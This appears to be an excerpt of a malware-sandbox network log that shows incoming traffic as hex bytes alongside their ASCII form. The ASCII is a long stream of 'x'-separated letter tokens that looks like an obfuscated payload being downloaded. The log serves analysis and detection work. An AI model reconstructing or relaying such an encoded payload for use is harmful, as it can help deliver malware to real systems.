2021-10-29 15:55:36 UTC	2271	IN	Data Raw: 45 45 20 4f 6f 51 20 6f 6f 59 20 4f 45 45 20 4f 6b 6b 20 6f 6f 59 20 4f 45 4b 20 4f 6f 6b 20 6f 6f 59 20 4f 45 6f 20 4f 6b 52 20 78 20 6f 45 51 20 4f 4b 52 20 4f 52 45 20 6f 45 51 20 4f 4b 59 20 4f 74 6b 20 6f 45 51 20 4f 4b 52 20 4f 59 4b 20 6f 45 51 20 4f 4b 59 20 4f 74 6b 20 6f 45 51 20 4f 4b 52 20 4f 6b 6f 20 6f 45 51 20 4f 4b 52 20 4f 52 59 20 6f 45 51 20 4f 4b 52 20 4f 4b 6b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4f 20 6f 45 51 20 4f 4b 52 20 4f 52 45 20 6f 45 51 20 4f 4b 52 20 4f 74 52 20 6f 45 51 20 4f 4b 52 20 4f 74 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4f 20 6f 45 51 20 4f 4b 59 20 4f 6b 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 52 20 78 20 6f 45 59 20 4f 4b 52 20 4f 6b 4b 20 6f 45 59 20 4f 4b 74 20 4f 6f 6b 20 6f 45 59 20 Data Ascii: EE OoQ ooY OEE Okk ooY OEK Ook ooY OEo OkR x oEQ OKR ORE oEQ OKY Otk oEQ OKR OYK oEQ OKY Otk oEQ OKR Oko oEQ OKR ORY oEQ OKR OKk oEQ OKY OkK oEQ OKY OkO oEQ OKR ORE oEQ OKR OtR oEQ OKR OtK oEQ OKY OkO oEQ OKY OkK oEQ OKY OkR x oEY OKR OkK oEY OKt Ook oEY
2021-10-29 15:55:36 UTC	2287	IN	Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 78 20 78 20 74 78 20 78 20 6b 74 20 78 20 74 74 20 78 20 4b 74 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 74 51 20 78 20 74 59 20 78 20 52 52 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 4f 4f 6f 20 78 20 74 6b 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 51 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 4f 4f 74 20 78 20 4f 78 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tx x kt x tR x YY x tx x tx x kt x tt x Kt x Qx x OxQ x OxY x kK x tQ x tY x RR x KE x OOY x OOo x tk x RQ x tK x OxQ x Rk x YY x Qk x RY x OOt x Oxo x tE x RY x RY x
2021-10-29 15:55:36 UTC	2303	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 74 45 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 4b 74 20 78 20 52 51 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 Data Ascii: RY x RY x RY x kY x kt x OxK x tE x Oox x Kk x RY x RY x OxY x YR x YY x Kt x kY x RY x kE x tR x RR x OxQ x OOO x RY x OxR x kQ x Kt x RQ x kK x RY x RY x RY x kY x kt x OxK x Oxt x Oox x Kk x RY x RY x OxY x YR x YY x Kt x kY x RY x kE x tR x RR x OxQ x
2021-10-29 15:55:36 UTC	2319	IN	Data Raw: 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 51 20 78 20 59 45 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 78 20 78 20 4b 74 20 78 20 74 6f 20 78 20 6b 59 20 78 20 6b 4f 20 78 20 51 74 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 4b 20 78 20 74 59 20 78 20 51 74 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 59 6f 20 78 20 74 6f 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 Data Ascii: OOO x RY x RY x tO x kQ x YE x to x Yo x Oxk x tk x Yt x tE x Oxk x tx x Kt x to x kY x kO x Qt x Oxt x RR x ko x YK x tY x Qt x kx x RY x RY x Rt x tx x OOQ x tx x Oxk x Qx x Oxx x RY x tE x Ooo x Kt x Yo x to x tO x RY x RY x OxE x RY x RY x tQ x OxE x
2021-10-29 15:55:36 UTC	2335	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 52 74 20 78 20 52 51 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 51 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 4b 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 45 20 78 20 4f 78 59 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 6b 20 78 20 74 4b 20 78 20 52 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 6b 51 20 78 20 4f 6f 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 Data Ascii: RY x RY x Rk x Rt x RQ x RY x Rk x Kt x Oxx x Rt x kO x RQ x OOO x OoO x kK x KE x kO x RY x RR x OOO x OOE x OxY x OOo x RY x RY x kx x Yt x Kk x tK x RR x RR x kO x YK x tx x kQ x Oox x RY x RY x RR x kO x Kt x Oox x kY x Kk x OOQ x Oxt x RY x RY x OOQ
2021-10-29 15:55:36 UTC	2351	IN	Data Raw: 78 20 4f 78 4f 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 51 20 78 20 52 51 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 78 4f 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 51 78 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4b 6b 20 78 20 59 45 20 78 20 74 74 20 78 20 4f 4f 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 74 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b Data Ascii: x OxO x Ooo x kQ x OoO x Kk x RY x RY x YK x tQ x RQ x OxQ x RY x RY x Rt x tK x ko x Oxo x Rt x tk x ko x OxO x OxK x kO x OxR x Qx x YO x OOO x Yt x Kt x Kt x Kt x Oox x Kk x kk x Kk x YE x tt x OOR x RY x RY x tQ x OxK x Yt x to x kO x RY x RY x kt x k
2021-10-29 15:55:36 UTC	2367	IN	Data Raw: 52 51 20 78 20 6b 78 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 74 74 20 78 20 4b 45 20 78 20 59 78 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 6b 6f 20 78 20 6b 52 20 78 20 6b 74 20 78 20 74 6b 20 78 20 4f 4f 78 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 59 4b 20 78 20 6b 78 20 78 20 4f 4f 4f 20 78 20 74 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 4b 74 Data Ascii: RQ x kx x Kt x kk x tt x KE x Yx x tK x ko x Rt x kO x kO x ko x kR x kt x tk x OOx x kQ x RY x Rt x RY x RY x Rk x OOO x OOK x RR x Kk x RY x RY x tx x Rk x Kt x Oxx x Rt x kO x kQ x YK x kx x OOO x tR x RY x RY x Rt x Rk x Oox x RY x Oox x tx x OxE x Kt
2021-10-29 15:55:36 UTC	2383	IN	Data Raw: 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 51 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 59 74 20 78 20 74 74 20 78 20 4f 78 78 20 78 20 74 78 20 78 20 4b 74 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 4f 6f 4f 20 78 20 51 51 20 78 20 74 6b 20 78 20 6b 52 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 4f 6f 78 20 78 20 6b 6f 20 78 20 6b 59 20 78 20 4b 51 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 52 20 78 20 59 52 20 78 20 4f 6f Data Ascii: Q x RY x RY x OxK x QQ x RR x KQ x RQ x kx x Yt x KQ x Yt x tt x Oxx x tx x Kt x RY x RQ x RY x RY x RY x Rk x Kt x tx x ko x kK x RY x kO x RY x Rt x tR x ko x Oxo x Oox x OxO x OoO x QQ x tk x kR x OxY x KE x Oox x ko x kY x KQ x Qt x tk x OxR x YR x Oo
2021-10-29 15:55:36 UTC	2399	IN	Data Raw: 52 52 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 4f 4f 4f 20 78 20 4b 74 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 51 20 78 20 74 45 20 78 20 6b 6b 20 78 20 59 78 20 78 20 4f 78 6f 20 78 20 4f 78 45 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 Data Ascii: RR x RY x Qx x kO x Qt x tK x Ooo x Rk x kO x RY x Rt x tk x OxK x kO x Rk x KE x Kt x Kt x Yt x OOO x Kt x OOQ x RY x RY x RY x tx x Rk x OOO x OOQ x tO x RQ x RY x RY x tE x kx x RQ x RQ x tE x kk x Yx x Oxo x OxE x KQ x OOO x Kk x tt x OxK x RY x RY x
2021-10-29 15:55:36 UTC	2415	IN	Data Raw: 78 20 78 20 59 52 20 78 20 59 59 20 78 20 6b 6b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 4f 78 78 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 51 51 20 78 20 74 45 20 78 20 74 51 20 78 20 59 52 20 78 20 51 78 20 78 20 59 52 20 78 20 59 52 20 78 20 52 6b 20 78 20 6b 78 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 45 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 74 4b 20 78 20 4f 78 45 20 78 20 59 78 20 78 20 6b 4f 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 20 52 Data Ascii: x x YR x YY x kk x Rt x kO x kO x Oxx x RR x RR x RY x OxE x YR x QQ x tE x tQ x YR x Qx x YR x YR x Rk x kx x RY x kk x KQ x YE x Qk x OOQ x OxE x kO x RY x OOQ x OxO x RY x Rk x OxE x OoO x kO x Rt x RY x tE x OOY x tK x OxE x Yx x kO x tE x RR x RY x R
2021-10-29 15:55:36 UTC	2431	IN	Data Raw: 6b 20 78 20 59 74 20 78 20 52 6b 20 78 20 52 59 20 78 20 6b 59 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 52 6b 20 78 20 6b 45 20 78 20 4f 6f 6f 20 78 20 4b 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 6f 20 78 20 59 78 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 4f 78 78 20 78 20 52 52 20 78 20 6b 4b 20 78 20 4f 4f 4b 20 78 20 52 6b 20 78 20 52 6b 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 51 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 51 20 78 20 4f 4f 4b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 52 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 52 Data Ascii: k x Yt x Rk x RY x kY x kx x OxK x QQ x kO x RY x RY x RY x Rt x tR x Rk x kE x Ooo x KE x kO x RY x RY x Ooo x Yx x Ooo x OOk x tR x Oxx x RR x kK x OOK x Rk x Rk x OOR x tx x RQ x RY x KE x RQ x OOK x kO x RY x RY x RY x tE x kx x RR x RR x tE x OOY x R
2021-10-29 15:55:36 UTC	2447	IN	Data Raw: 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4f 78 45 20 78 20 59 59 20 78 20 59 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 4f 20 78 20 6b 78 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 6b 78 20 78 20 6b 59 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 74 4f 20 78 20 59 4b 20 78 20 74 52 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 74 20 78 20 6b 4f 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 59 59 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 Data Ascii: RY x kR x OOO x OOk x Oox x OxE x YY x YY x Oxt x RY x OxE x RY x RY x RY x tE x Oxk x tO x kx x to x kO x kx x kY x tE x OOk x tO x YK x tR x kO x kQ x RY x RY x Rk x OOO x OOt x kO x tE x RY x RY x tx x YY x Rk x OxY x Yo x Qt x OxE x RY x OxE x RY x R
2021-10-29 15:55:36 UTC	2463	IN	Data Raw: 6b 59 20 78 20 6b 78 20 78 20 4f 78 59 20 78 20 59 6f 20 78 20 59 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 51 20 78 20 74 51 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 4b 74 20 78 20 59 4f 20 78 20 51 78 20 78 20 4f 78 45 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 52 51 20 78 20 4f 78 6b 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 4f 20 78 20 4b 74 20 78 20 59 Data Ascii: kY x kx x OxY x Yo x YY x kY x RY x OxE x RY x RY x Qt x YR x RY x kY x OxY x Kk x kO x RR x RQ x tQ x OOY x tY x Kt x YO x Qx x OxE x OxY x Oox x tk x kO x OxY x YR x OOk x Kt x RQ x Oxk x Rk x Kt x Oxx x Rt x kO x tt x OxY x YR x Qk x OOO x OxO x Kt x Y
2021-10-29 15:55:36 UTC	2479	IN	Data Raw: 4f 4f 4f 20 78 20 74 74 20 78 20 74 6b 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 4f 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 78 52 20 78 20 6b 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 4f 4f 6b 20 78 20 6b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 6f 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 59 20 78 20 52 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 51 6b 20 78 20 6b 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4f 20 78 20 52 6b 20 78 20 4b 6b 20 78 Data Ascii: OOO x tt x tk x tK x RY x RY x tQ x OOY x tx x Qt x tO x OxR x kE x kO x RY x Rk x Kt x Oxx x kO x OxR x OOO x Qx x OOk x kk x Kt x Kt x Yo x OOY x to x OxY x YR x Kt x Kt x kY x Rt x ko x kO x OxR x Qk x kY x RY x Kt x OOk x Kt x Kt x YK x tO x Rk x Kk x
2021-10-29 15:55:36 UTC	2495	IN	Data Raw: 20 78 20 4f 78 74 20 78 20 4f 4f 6b 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 78 51 20 78 20 51 51 20 78 20 74 4b 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 4b 20 78 20 4f 4f 78 20 78 20 52 74 20 78 20 6b 45 20 78 20 4f 4f 59 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 4f 78 74 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 4f 78 51 20 78 20 51 51 20 78 20 74 4b 20 78 20 74 52 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 51 6b 20 78 20 Data Ascii: x Oxt x OOk x RR x kO x RY x RY x tE x OxQ x QQ x tK x tR x OxE x kY x RY x RY x Rt x tK x OOx x Rt x kE x OOY x tx x RY x RY x RY x OxY x Qx x OOQ x Oxt x OOY x RR x kO x RY x RY x tE x OxQ x QQ x tK x tR x kO x kY x RY x RY x Rk x OOO x tK x YE x Qk x
2021-10-29 15:55:36 UTC	2511	IN	Data Raw: 20 78 20 74 78 20 78 20 59 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 51 74 20 78 20 51 74 20 78 20 74 45 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 Data Ascii: x tx x YY x RY x RQ x RY x RY x RY x Rk x to x ko x Oxo x OxE x Rt x RY x RY x RY x RY x OxY x kY x kY x tE x YK x Rk x YO x Kt x Kt x Kt x KE x tx x OOQ x to x kO x Qt x Qt x tE x OxR x kQ x kO x RY x Rk x Kt x tk x OOk x Kt x kk x tQ x YR x tk x Kk x R
2021-10-29 15:55:36 UTC	2515	IN	Data Raw: 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 59 74 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 52 20 78 20 4f 4f 4b 20 78 20 4f 4f 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 74 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 74 74 20 78 20 51 51 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 74 78 20 78 20 59 6f 20 78 20 6b 74 20 78 20 6b 59 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 52 52 20 78 20 59 52 20 78 20 52 59 Data Ascii: YR x RY x RY x tE x Yx x tx x Yt x kx x YO x Kt x Kt x KQ x Rk x OOO x OxR x OOK x OOx x Kt x Kt x Yo x Yx x tx x Yt x kx x YO x Kt x Kt x KQ x RR x kk x YK x tt x QQ x Oxo x RY x RY x Rt x tk x ko x tx x Yo x kt x kY x tx x Oxo x OOO x kQ x RR x YR x RY
2021-10-29 15:55:36 UTC	2531	IN	Data Raw: 6b 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 59 78 20 78 20 74 78 20 78 20 52 74 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 4f 78 4f 20 78 20 52 52 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 59 4f 20 78 20 6b 6b 20 78 20 4f 4f 51 20 78 20 59 4b 20 78 20 74 59 20 78 20 6b 4b 20 78 20 59 45 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4f 6f 78 20 78 20 52 52 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 4f 6f 4f 20 78 20 4f 78 6f 20 78 20 59 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 59 4f 20 78 20 74 45 20 Data Ascii: k x kO x kY x tE x KQ x tx x Yx x tx x Rt x tk x ko x OxO x RR x kO x Kt x YO x kk x OOQ x YK x tY x kK x YE x Kt x Kt x KE x Rk x Oox x RR x ko x OOO x Kt x OxE x RY x RY x RY x tE x Yx x tx x OoO x Oxo x YY x Kt x Kt x KQ x tk x kO x OxY x tK x YO x tE
2021-10-29 15:55:36 UTC	2547	IN	Data Raw: 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 74 20 78 20 74 45 20 78 20 4f 4f 59 20 78 20 4b 51 20 78 20 4b 51 20 78 20 74 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 4b 20 78 20 59 6f 20 78 20 59 78 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 4b 74 20 78 20 4b 51 20 78 20 6b 6b 20 78 20 59 52 20 78 20 59 4b 20 78 20 4f 4f 51 20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 4b 51 20 78 20 74 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 52 6b Data Ascii: x Oxo x Kt x Kt x Ooo x Oxk x Oxx x Kt x tE x OOY x KQ x KQ x tt x RR x RY x RY x tO x OxK x Yo x Yx x Oxt x RY x RY x kR x YO x kO x tx x Kt x KQ x kk x YR x YK x OOQ x tR x Kt x KQ x OOO x OxQ x tx x OOk x to x YO x Kt x Kt x Yo x KQ x tx x Kt x tx x Rk
